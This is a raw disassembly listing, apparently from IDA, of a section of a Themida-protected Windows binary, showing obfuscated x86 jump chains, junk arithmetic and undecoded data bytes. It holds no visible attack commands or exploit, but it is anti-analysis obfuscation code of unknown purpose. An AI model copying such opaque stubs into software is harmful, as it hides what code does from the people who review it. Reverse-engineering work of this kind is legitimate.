		dd 287DF0h, 3CA5C681h, 525B1E01h, 4BAh,	5AD60100h, 5C243487h
		dd 840FC009h, 0D60Ch, 4EC8150h,	89000000h, 0B850240Ch
		dd 6AC929D6h, 53C4E9h, 0B647BD00h, 0EF892D5Fh, 5FFB015Dh
		dd 34FFDF01h, 0FCA6E924h, 25BEFFFFh, 12BFB0Eh, 3E13E9F0h
		dd 0EC810000h, 4, 0E9243C89h, 48B7h, 68243489h,	4AE77E4Ch
		dd 0EEC14E5Eh, 0E6F68106h, 504CE215h, 0C9881BB8h, 8BC6314Dh
		dd 0C4832404h, 8BF30104h, 0C4812434h, 4, 0F8F9E955h, 74FFFFFFh
		dd 0E95B0424h, 128Ch, 4EA81h, 14870000h, 0C895C24h, 71BF5724h
		dd 0B90C2F6Bh, 3C360410h, 0E95FF901h, 3F64h, 50240C89h
		dd 0FFB10BB0h, 5058C100h, 0D9E992B4h, 5C00001Ah, 1516E9h
		db 0
; ---------------------------------------------------------------------------

loc_554805:				; CODE XREF: Themida_:00550691j
		add	esi, 749830C4h
		sub	eax, esi
		pop	esi
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	665Fh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_561293
; ---------------------------------------------------------------------------
		dd offset dword_424764+4
		align 2
		dw 0C89h
		dd 4EC8124h, 0E9000000h, 0FFFFDF1Eh, 2404895Ch,	5153E089h
		dd 777DC6B9h, 7C98122h,	0E971773Ah, 0F97Fh, 2434FF54h
		dd 83241C8Bh, 545604C4h, 33B4E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554866:				; CODE XREF: Themida_:0056180Cj
		push	2B8Dh
		jmp	loc_55EC46
; ---------------------------------------------------------------------------
aZ4Sk		db ']‡4$\éK\',0
		align 2

loc_55487A:				; CODE XREF: Themida_:0055A671j
		mov	[esp], edx
		push	48E6398h
		pop	edx
		jmp	loc_55C583
; ---------------------------------------------------------------------------
		dd 243C8B51h, 5904C483h, 4EC8347h, 0E9240C89h, 0FFFFDD7Eh
; ---------------------------------------------------------------------------

loc_55489C:				; CODE XREF: Themida_:0055DCEDj
		mov	edx, 1F3852F0h
		sub	edx, ecx
		pop	ecx
		shl	edx, 6
		shr	edx, 6
		jmp	loc_5540E1
; ---------------------------------------------------------------------------

loc_5548AF:				; CODE XREF: Themida_:0055B5D1j
		mov	ebp, 0
		jmp	loc_55DBC3
; ---------------------------------------------------------------------------
byte_5548B9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0054FF78o
		dd 9A67E9h
		db 0
; ---------------------------------------------------------------------------

loc_5548C1:				; CODE XREF: Themida_:0055CD70j
		shr	ebp, 5
		shr	ebp, 5
		push	0
		add	dword ptr [esp], 4D833CA2h
		sub	[esp], ebp
		jmp	loc_5537D0
; ---------------------------------------------------------------------------

loc_5548DB:				; CODE XREF: Themida_:00552981j
		add	esp, 4
		pop	edi
		mov	eax, 0BB8BC7E2h
		add	eax, 67986B21h
		sub	eax, 7D0837E6h
		add	eax, ebp
		jmp	loc_564E13
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5525B7
; ---------------------------------------------------------------------------

loc_554903:				; CODE XREF: Themida_:005525DBj
		mov	ecx, [esp]
		jmp	loc_561C00
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 935BE900h, 0E2C10000h,	39F28104h, 5234DC7Fh, 4EC81h
		dd 0C890000h, 49595A24h, 0D2F7CA87h, 3581E9h
		db 0
; ---------------------------------------------------------------------------

loc_554935:				; CODE XREF: Themida_:00555303j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	ebx, eax
		pop	dword ptr [eax]
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_554949:				; CODE XREF: Themida_:00563D03j
		add	bl, dl
		pop	edx
		sub	bl, dl
		sub	bl, 5Ah
		pop	edx
		push	ecx
		mov	ch, 0BEh
		add	bl, 4Bh
		add	bl, 0B3h
		sub	bl, ch
		sub	bl, 0B3h
		sub	bl, 4Bh
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		jmp	loc_551B75
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0D2E95E00h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554983:				; CODE XREF: Themida_:0055BBA5j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ecx, eax
		jmp	loc_55FFF1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5F042474h, 0E924048Fh, 94CFh, 85E9D189h, 0E9000079h
		dd 0FFFFB6E7h, 5F2434FFh, 504C483h, 415852h, 0FFD237E9h
		dd 9B82DFFh, 55B5FD4h, 0E229BC7Eh, 8158C301h, 0E85787C3h
		dd 81EB013Ch, 0E85787EBh, 0C536E93Ch, 2C8BFFFFh, 4C48124h
		dd 0E9000000h, 0FA7h, 6F776866h, 241C8966h, 7D85E9h
		db 0
; ---------------------------------------------------------------------------

loc_5549FD:				; CODE XREF: Themida_:0055D6E9j
		push	edi
		mov	edi, 388C1664h
		or	edi, 4AAF507Ah
		and	edi, 6D8C7D63h
		not	edi
		shr	edi, 1
		neg	edi
		sub	edi, 0F4E7534Ah
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, eax
		jmp	loc_55EECF
; ---------------------------------------------------------------------------

loc_554A2D:				; CODE XREF: Themida_:0055ECD7j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	edx
		push	esp
		pop	edx
		push	eax
		jmp	loc_55B022
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48324h, 0BD555056h, 7C34354h, 0FFC46CE9h, 59EB88FFh
		dd 0D823E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554A6A:				; CODE XREF: Themida_:0055ED86j
		mov	edx, esp
		add	edx, 4
		jmp	loc_552332
; ---------------------------------------------------------------------------
		db 51h
		dd 6EF2E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554A7E:				; CODE XREF: Themida_:00560D3Dj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	esi, 2B3F56FFh
		push	ebx
		jmp	loc_55E1B2
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 5324048Fh, 4BBh, 245C0100h, 34FF5B04h, 0FF4CE924h
		dd 0E2C10000h, 9AE28106h, 0E920E12Dh, 837Dh, 5208E6C1h
		dd 8A38B6BAh, 0E9D6010Fh, 0FFFFDC1Fh, 5C241C87h, 6CC7BF57h
		dd 0F9294C1Ah, 1AEEE9h,	0DE62D00h, 0C6890817h, 0B6D5E9h
		db 0
; ---------------------------------------------------------------------------

loc_554AE9:				; CODE XREF: Themida_:005553D5j
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55C4DD
; ---------------------------------------------------------------------------
		db 1
		dd 0E9042474h, 55FEh, 5C242C33h, 0B60FC330h, 8734FFC0h
		dd 8124048Bh, 4ECh, 240C8900h, 4EC81h, 0ECE90000h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554B27:				; CODE XREF: Themida_:005505B5j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5539F0
; ---------------------------------------------------------------------------
		db 29h
		dd 22EB81FBh, 810FE306h, 0AD4C9AEBh, 243C8B18h,	4C481h
		dd 0F3E90000h, 21000032h, 0B814E9E9h, 0E95B0000h, 65E3h
		dd 5393EB81h, 5AE9ACDEh, 500004Dh, 0FFFFFFFFh, 55BB3548h
		dd 0C30921F0h, 0E924048Bh, 7205h, 4F68F9B4h, 89000017h
		dd 0FA682414h, 89000024h, 5152240Ch, 0CE88E188h, 5AF18859h
		dd 8859CA88h, 24148BD7h, 0FF04C483h, 34FF2434h,	2434FF24h
		dd 3C5A6858h, 4890000h,	0E9585424h, 0F00Eh, 315FFE31h
		dd 0CA815EF2h, 4B6C5A99h, 6FAEBE56h, 0CE816161h, 10846EDFh
		dd 1464EE81h, 0F22925E7h, 9D74E9h, 40500h, 4EE90000h, 810000F6h
		dd 0FD5967E9h, 59CA8978h, 0DCE9D629h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554BFB:				; CODE XREF: Themida_:0055115Ej
		push	32C3h
		mov	[esp], ecx
		mov	ecx, 51A965F0h
		shr	ecx, 1
		push	edi
		mov	edi, 749816A2h
		add	edi, 0FFFFFFFFh
		jmp	loc_55B88E
; ---------------------------------------------------------------------------
		db 81h
		dd 3002CC7h, 0C7ACE94Fh, 0CE010000h, 1C6FEE81h,	0E9526FA7h
		dd 0BC37h, 81241C8Bh, 4C4h, 0E29FE900h,	0FF5CFFFFh, 0C8B2434h
		dd 45C8E924h, 0FEB90000h, 31E08A72h, 0CF015EF1h, 593EE9h
		dd 4C28100h, 83000000h,	148704EAh, 0E9575C24h, 0FF30h
		dd 1E9D6F7h, 55000045h,	695068h, 48F5400h, 24048324h, 0BC73E904h
		dd 0A22D0000h, 357ED627h, 2FC452C3h, 0C49AE9h, 242C8900h
		dd 52BE9h, 0B3F1E900h
		db 2 dup(0FFh)
word_554CA6	dw 34FFh		; DATA XREF: Themida_:0054FEB8o
		dd 0E148E924h, 0D031FFFFh, 0D031C231h, 243CE9h,	90E95A00h
		dd 68000074h, 61C3h, 56241489h,	594533BEh, 0B7F0E93Fh
		dd 0C87FFFFh, 24248B24h, 8904EC83h, 0E954241Ch,	0E1Eh
		dd 3023C3BAh, 34E2811Ch, 81369B22h, 34542FC2h, 5AD3291Bh
		dd 2F6868h, 24048900h, 0FA0EBCB8h, 45CFE926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554D0A:				; CODE XREF: Themida_:0055CBAAj
		push	dx
		jmp	loc_557E06
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5A000000h,	91BA5253h, 563C6D0Bh, 746A68h
		dd 18ECE900h, 5F530000h, 243C315Bh, 31243C33h, 58E9243Ch
		dd 5BFFFFB3h, 8108EEC1h, 8D4214CEh, 48E68125h, 810C527Bh
		dd 42CAE6C6h, 5EF00100h, 10497E9h
		db 0
byte_554D5D	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:0054FE80o
		dd 30E99C24h, 89FFFFB3h, 52E955E7h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_554D6F:				; CODE XREF: Themida_:0055ABC3j
		sub	edx, 66EA5316h
		push	7248h
		mov	[esp], esi
		mov	esi, 4D1204E8h
		xor	esi, 1ADC3DC1h
		neg	esi
		neg	esi
		and	esi, 5338084Ah
		neg	esi
		sub	esi, 6952C0FCh
		sub	edx, 32541772h
		jmp	loc_55D896
; ---------------------------------------------------------------------------
		db 0BAh, 82h, 5Ah
		dd 0D78937A7h, 90B8505Ah, 83766722h, 0BB53FFE8h, 0
		dd 69A6EB81h, 0C32907BEh, 0FFCEC2E9h, 240487FFh, 13E9555Ch
		dd 29000000h, 86ED81F5h, 8122EC50h, 3472BCEDh, 8A6BE937h
		dd 0BA520000h, 2B6F1B2Eh, 1B2AF281h, 81522B6Fh,	6D422404h
		dd 2C8B18F5h, 4C48324h,	499EE9h, 0EE815900h, 4,	1E74E9h
		dd 0FBBA5200h, 0E9309A0Eh, 5896h
; ---------------------------------------------------------------------------

loc_554E1C:				; CODE XREF: Themida_:0055BF0Aj
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_56100A
; ---------------------------------------------------------------------------
		dw 2EB7h
		dd 60E9D7F6h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554E2F:				; CODE XREF: Themida_:005625A0j
		or	ebx, 51D60D43h
		jmp	loc_560256
; ---------------------------------------------------------------------------

loc_554E3A:				; CODE XREF: Themida_:00565133j
		xchg	ebx, [esp]
		jmp	loc_553DFD
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 213A46C5h, 0CDEEB81h, 0CB011E74h, 0CDEC381h,	0FCE91E74h
		dd 58FFFFD7h, 0F788FD88h, 0DFDE9h
		db 0
; ---------------------------------------------------------------------------

loc_554E65:				; CODE XREF: Themida_:00560162j
		add	al, 46h
		sub	al, dl
		sub	al, 46h
		mov	dx, [esp]
		add	esp, 2
		push	small 10C6h
		mov	[esp], bx
		mov	bh, 0E1h
		add	bh, 12h
		add	al, 0Bh
		sub	al, bh
		push	ecx
		mov	ch, 0Bh
		jmp	loc_555CAE
; ---------------------------------------------------------------------------

loc_554E8E:				; CODE XREF: Themida_:00555387j
		xchg	eax, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	edx
		push	ecx
		mov	ecx, 4
		push	ecx
		add	dword ptr [esp], 2E1646D4h
		jmp	loc_55AF44
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 1117E904h, 4BB0000h, 89000000h, 0E9815BD8h
		dd 68CA2EA2h, 0FFECC1E9h, 0C98149FFh, 4FB15E00h, 3732E181h
		dd 36E93687h, 8BFFFFB2h, 14892424h, 2414F724h, 0DC44E95Ah
		db 2 dup(0)
word_554EEA	dw 34FFh		; DATA XREF: Themida_:0054FF3Co
		dd 2434FF24h, 8910E9h, 59CE8100h, 811CEC57h, 4B1DA5F6h
		dd 0DF07E9DAh, 0E7C1FFFFh, 0E9DFF702h, 7E2Dh, 81B8505Bh
		dd 0E979912Fh, 0FFFFD1FDh, 5086BF57h, 0FD0122ECh, 0FEA9E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F2A:				; CODE XREF: Themida_:0055A74Aj
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5616F0
; ---------------------------------------------------------------------------

loc_554F33:				; CODE XREF: Themida_:005533D3j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_564544
; ---------------------------------------------------------------------------
		dd 8304F281h, 0D5017F66h, 0E924148Bh, 0FFFFEC77h, 5266B42Ch
		dd 0E9C3B551h, 0E302h, 575FFB31h, 0F7E3E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554F7E:				; CODE XREF: Themida_:005590E8j
		pop	edi
		mov	edi, ebp
		jmp	loc_561625
; ---------------------------------------------------------------------------
		dw 0C721h
		dd 9EF78158h, 682D0052h, 3C5Eh,	0B9240C89h, 7C00D2Dh, 159CA29h
		dd 2DBE56FAh, 8107C00Dh, 9D694DEAh, 81F2013Ah, 9D694DC2h
		dd 24348B3Ah, 4C481h, 3C8B0000h, 4C48324h, 2474FF52h, 46E95A04h
		dd 0F70000BDh, 81EAD1DAh, 0ED5F48F2h, 5AD30147h, 0F404E9h
		dd 64216800h, 0C890000h, 3FE95424h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554FEF:				; CODE XREF: Themida_:00561D8Bj
		add	ebp, 484F52D5h
		mov	edi, ebp
		pop	ebp
		xor	edi, 389B7E56h
		add	edi, 0BC683A90h
		jmp	loc_554433
; ---------------------------------------------------------------------------
		db 1, 0C1h, 8Bh
		dd 0C4832404h, 240C8704h, 431665Ch, 62E99C24h, 280000A2h
		dd 98C380C3h, 6602EC83h, 83240C89h, 148904ECh, 0E916B624h
		dd 0F89Ch, 40C9F281h, 0D14A253Bh, 9AF281E2h, 1006651h
		dd 0BF575AD3h, 4, 0FFBDBEE9h, 7BF581FFh, 0E9CBEB17h, 3A2Bh
		dd 240C8B59h, 5E08950h,	4, 405h, 24043300h, 37F8E9h
		db 0
; ---------------------------------------------------------------------------

loc_555079:				; CODE XREF: Themida_:0055A8B6j
		shr	esi, 7
		not	esi
		jmp	loc_55388C
; ---------------------------------------------------------------------------

loc_555083:				; CODE XREF: Themida_:00563954j
		push	eax
		jmp	loc_550BDD
; ---------------------------------------------------------------------------
		db 66h,	1, 0F8h
		dd 0F801665Fh, 2970E9h,	4C685D00h, 89000071h, 9FE9243Ch
		dd 81000007h, 52844F6h,	5EF30103h, 0D78DE957h, 2489FFFFh
		dd 24048124h, 4, 4BB535Ah, 1000000h, 0C2815BDAh, 4, 0DD08E9h
		db 0
; ---------------------------------------------------------------------------

loc_5550D1:				; CODE XREF: Themida_:005608A5j
		mov	esp, [esp]
		xor	eax, esi
		jmp	loc_550753
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 875FF801h, 9E92404h, 0BB0000B2h, 5F964869h, 8462E9h
		dd 241C8B00h, 4604C483h, 2115C681h, 0F2317C25h,	8324348Bh
		dd 0D00904C4h, 8324148Bh, 82E904C4h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_555117:				; CODE XREF: Themida_:00550824j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_564D08
; ---------------------------------------------------------------------------
		db 80h,	0F3h, 2
		dd 97E95066h, 0F7000017h, 7EEC1DEh, 9DF4E9h, 5BD80100h
		dd 81242C8Bh, 4C4h, 45580500h, 0F80111C5h, 4FD7BB53h, 0DE932BAh
		dd 81FFFFC0h, 0F695FEAh, 0A0A0E920h, 0FF5E0000h, 81582434h
		dd 4C4h, 2434FF00h, 4C4815Bh, 0FF000000h, 535F2434h, 0C96FE9h
		dd 0E9555200h, 7C59h, 0FFAEFEE9h, 57E956FFh, 8B0000D7h
		dd 0C4832404h, 0BBEFE904h, 0E8010000h, 68242C8Bh, 7B3h
		dd 89243489h, 0DD4FE9E6h, 0BEFFFFh, 50000004h, 0E953E089h
		dd 0FFFFD924h, 54536850h, 2D58326Fh, 0FFFFFFFFh, 18D8E9h
		db 0
; ---------------------------------------------------------------------------

loc_5551DD:				; CODE XREF: Themida_:005525C4j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mul	cx
		jmp	loc_5566DA
; ---------------------------------------------------------------------------
		dd 5C241C87h, 0BA241489h, 49173AEBh, 8CE3E9h, 773DBF00h
		dd 0FB2920DBh, 0B8F3815Fh, 0E93FD500h, 0FFFFCE37h, 0BE55F781h
		dd 0F9014504h, 81243C8Bh, 4C4h,	0C65EE900h, 0D368FFFFh
		dd 8900006Ch, 60BE2434h, 817F3179h, 0DA70FFEEh,	421E939h
		dd 34890001h, 2BE24h, 0EF810000h, 65280158h, 0A7E9F701h
		dd 5900007Ch, 515AD700h, 0EF309EB5h, 0EA7FE959h, 0F75F0000h
		dd 99E181D1h, 817D5041h, 2B3D03E9h, 59CE0174h, 1F36EE81h
		dd 0EE8153DCh, 9FB251Bh, 95AEE9h
		db 0
byte_555291	db 64h,	0FFh, 32h	; DATA XREF: Themida_:0054FF74o
		dd 0FFBA49E9h, 5DBE56FFh, 897E0E1Dh, 0E0C15EF0h, 514A6807h
		dd 3C890000h, 0BF24h, 0C7290000h, 0CB4AE9h, 0E9D32900h
		dd 19E9h, 0CC2EF281h, 0D101B158h, 8F95E9h, 24248900h, 482368h
		dd 240C8900h, 0FFDD8EE9h, 241C87FFh, 8F24248Bh,	248B2404h
		dd 242CD224h, 0ADA5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5552F2:				; CODE XREF: Themida_:0055DF17j
		pop	ebp
		xor	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_554935
; ---------------------------------------------------------------------------
		dd 31240C33h, 0C33240Ch, 0BA525C24h, 27A54269h,	4FF524Ah
		dd 8DE2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_555322:				; CODE XREF: Themida_:00557C97j
		xor	esi, eax
		jmp	loc_553345
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DD010000h, 83241C8Bh, 0C58104C4h, 4, 5C242C87h, 685FF829h
		dd 65B1h, 18BDE9h
		db 0
; ---------------------------------------------------------------------------

loc_55534D:				; CODE XREF: Themida_:0055AC64j
		dec	edi
		sub	edi, 56E65B1Eh
		jmp	loc_562DC7
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 46h
		dd 107D85Eh, 0BD96E9FAh, 0EA810000h, 4,	5C241487h, 0B8240489h
		dd 3A381A02h, 1DE95655h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55537F:				; CODE XREF: Themida_:00562A9Ej
		add	eax, 4
		sub	eax, 4
		jmp	loc_554E8E
; ---------------------------------------------------------------------------
		dd 24048153h, 123E4BECh, 0ECEF815Fh, 5B123E4Bh,	87FFEF83h
		dd 0DF874BDFh, 53BBB951h, 0D9F77E3Ch, 0D1F7D9F7h, 11BAC981h
		dd 0C18149A1h, 9E3EA8F4h, 0AB64E9h
		db 0
; ---------------------------------------------------------------------------

loc_5553C1:				; CODE XREF: Themida_:0055B697j
		pop	ebx
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	6A94h
		mov	[esp], esi
		mov	edx, [esp]
		jmp	loc_554AE9
; ---------------------------------------------------------------------------
		dw 5BBDh
		dd 0E931CE0Fh, 0BE3Fh, 0FF243489h, 0E9042474h, 31E7h, 0C381FB01h
		dd 339332BEh, 0F405E9h,	4E98300h, 5C240C87h, 55242489h
		dd 4BDh, 246C0100h, 81595D04h, 4C1h, 4EC8300h, 68243C89h
		dd 0B51h, 0CDF3E9h, 2BE5600h, 51000000h, 0E02D04B9h, 0E9C82901h
		dd 0C4FDh, 5FF9215Bh, 6806E9C1h, 1062h,	0FF241C89h, 0E9582434h
		dd 7215h, 42491ABDh, 5DE98974h,	8159CE89h, 942587EEh, 8BF7892Ah
		dd 0C4832434h, 0E5D5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555472:				; CODE XREF: Themida_:0055985Dj
		add	edi, edx
		pop	edx
		or	ebx, edi
		pop	edi
		jmp	loc_553F2E
; ---------------------------------------------------------------------------
		db 0F7h, 0D5h, 4Dh
		dd 2FE7E581h, 0AAE93A01h, 5A0000ECh, 6859CA09h,	4B22h
		dd 0BB241C89h, 33F95816h, 34FFDA29h, 0C4835B24h, 3E95304h
		db 8Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5554AB:				; CODE XREF: Themida_:0055F49Aj
		sub	edx, edi
		pop	edi
		push	6589h
		mov	[esp], edx
		jmp	loc_55AE4D
; ---------------------------------------------------------------------------
		db 5Ch
		dd 89240489h, 8ABE56E0h, 876AC60Fh, 0C2E6E9DEh,	8B5BFFFFh
		dd 0C483243Ch, 4EE8304h, 0C26CE9h, 24043300h, 0E9240431h
		dd 0FFFFC984h
; ---------------------------------------------------------------------------

loc_5554E8:				; CODE XREF: Themida_:0055C85Aj
		add	ebx, 4
		push	edi
		push	edx
		mov	edx, 682520C2h
		mov	edi, edx
		pop	edx
		jmp	loc_550E30
; ---------------------------------------------------------------------------
		db 0FEh, 0C2h, 0C0h
		dd 0CA8005E2h, 80DAF60Bh, 0F0E9DDF2h, 0FF00006Fh, 0FBE92434h
		dd 810000D0h, 4C4h, 0BFC68100h,	899720D5h, 5436E9F7h, 0B9510000h
		dd 22FAC86Bh, 2D59CD31h, 7F0142F9h, 112DB951h, 0D1F77462h
		dd 7EEEC981h, 0BB53130Eh, 233835AEh, 0E456E9h
		db 0
; ---------------------------------------------------------------------------

loc_555551:				; CODE XREF: Themida_:00557EABj
		pop	ebp
		add	eax, 1
		push	780Ah
		jmp	loc_553275
; ---------------------------------------------------------------------------

loc_555561:				; CODE XREF: Themida_:00559143j
		mov	eax, ebx
		pop	ebx
		jmp	loc_56233F
; ---------------------------------------------------------------------------

loc_555569:				; CODE XREF: Themida_:00561ED8j
		push	edi
		mov	edi, 62136E2Eh
		jmp	loc_558F55
; ---------------------------------------------------------------------------

loc_555574:				; CODE XREF: Themida_:005566E5j
		pop	esi
		pop	edx
		jmp	loc_55302F
; ---------------------------------------------------------------------------

loc_55557B:				; CODE XREF: Themida_:005618FEj
		add	edx, eax
		pop	eax
		neg	edx
		shl	edx, 5
		xor	edx, 6C826B3Ah
		sub	eax, edx
		pop	edx
		sub	eax, 19882931h
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		push	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5523F7
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 33242C31h, 74E9242Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5555C7:				; CODE XREF: Themida_:005572BAj
		sub	dword ptr [esp+8], 25027D2Fh
		add	[esp+8], ebx
		add	dword ptr [esp+8], 25027D2Fh
		mov	ebx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		push	4F74h
		mov	[esp], esi
		push	2230406Eh
		pop	esi
		not	esi
		sub	esi, 1
		shr	esi, 5
		sub	esp, 4
		jmp	loc_55756F
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0ED4517BAh, 7387E95Dh
		db 2 dup(0)
word_555616	dw 34FFh		; DATA XREF: Themida_:0054FE90o
		dd 240C8B24h, 8104C483h, 4ECh, 240C8900h, 0EC815954h, 4
		dd 53240489h, 0FFF87DE9h, 79C781FFh, 0E9753F5Bh, 0E25h
		dd 9C240401h, 0FFAA4AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55564D:				; CODE XREF: Themida_:005565E7j
		push	57B2h
		mov	[esp], ecx
		mov	ecx, 1D685336h
		mov	eax, 0E297ACCEh
		jmp	loc_55F8AD
; ---------------------------------------------------------------------------
		dd 405h, 4EC8300h, 0BD242C89h, 4, 2C05E02Dh, 5E80133h
		dd 332C05E0h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_556A1B
; ---------------------------------------------------------------------------

loc_55569A:				; CODE XREF: Themida_:00559BACj
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_559BC4
; ---------------------------------------------------------------------------
aRRpc7ssN	db 'RºàPç7Sé~N',0
		dw 0FF00h
		dd 575A2434h, 0E046E954h, 0EC83FFFFh, 9FB1E904h
		db 2 dup(0)
word_5556C6	dw 77FFh		; DATA XREF: Themida_:0054FFDCo
		dd 0A9C9E92Ch, 835FFFFFh, 343304C6h, 6A6DE924h,	0ED810000h
		dd 57D677A5h, 0E9243C8Bh, 0E95Fh, 4EC81h, 4890000h, 2BF5724h
		dd 68000000h, 7BE4h, 81243C89h,	298E242Ch, 5586243h, 6243298Eh
		dd 0FFE3CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_555711:				; CODE XREF: Themida_:00563180j
		add	ebp, edi
		add	ebp, 73F93ED7h
		add	ebp, 75E96C45h
		add	ebp, 24B871F2h
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	158h
		mov	[esp], esi
		mov	esi, 7BD459E5h
		neg	esi
		add	esi, 0FFFFFFFFh
		jmp	loc_551B36
; ---------------------------------------------------------------------------

loc_555748:				; CODE XREF: Themida_:005603AEj
		push	edx
		mov	edx, 3A80714Dh
		shl	edx, 8
		jmp	loc_563DBA
; ---------------------------------------------------------------------------
		dw 6866h
		dd 89666C63h, 0CBE9240Ch
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_555763:				; CODE XREF: Themida_:0055FF47j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_553AFD
; ---------------------------------------------------------------------------
		dw 0EB8h
a_pgsM		db '_¯géºm',0
		align 4

loc_555778:				; CODE XREF: Themida_:00559504j
		add	ebp, 2DC954E6h
		jmp	loc_552D5C
; ---------------------------------------------------------------------------

loc_555783:				; CODE XREF: Themida_:0055711Dj
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dd 5C242C87h, 4C481h, 0BF570000h, 177D7227h, 0EFC1DFF7h
		dd 0D1DFF703h, 53CF81E7h, 55691F1Ch, 8957C6BDh,	0D225E976h
		dd 0EB810000h, 7291063Ah, 1A92BD55h, 0E8E9D0DFh, 81FFFFC2h
		dd 857C2BCAh, 13CA816Ch, 0E96A1A7Eh, 0F773h, 8801C180h
		dd 0E2C059CAh, 263E6808h, 1C890000h, 0B67BE924h, 2468FFFFh
		dd 89000020h, 0BB53242Ch, 56A978BAh, 1755EB81h,	0E3C11FD0h
		dd 7E3C105h, 0FBE9EBD1h, 51FFFFD1h, 8904EC83h, 96B3241Ch
		dd 885BD988h, 0B65259CFh, 5B246862h, 4890000h, 3457B024h
		dd 30AE2C84h, 8CE958C6h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_555833:				; CODE XREF: Themida_:00559D40j
		push	55B8h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_550097
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 615237Dh, 515DEF89h,	7A0F35B9h, 0D9F7416Fh, 45E9D9F7h
		dd 800000C5h, 0F488DFC6h, 0E253E95Ah, 0B8500000h, 1BBA1CBBh
		dd 0E10BD55h, 0E83136DBh, 58C6295Dh, 5551EE01h,	5977F3BDh
		dd 0B5CD8171h, 457E3528h, 44EFF581h, 0F5817919h, 21EF0331h
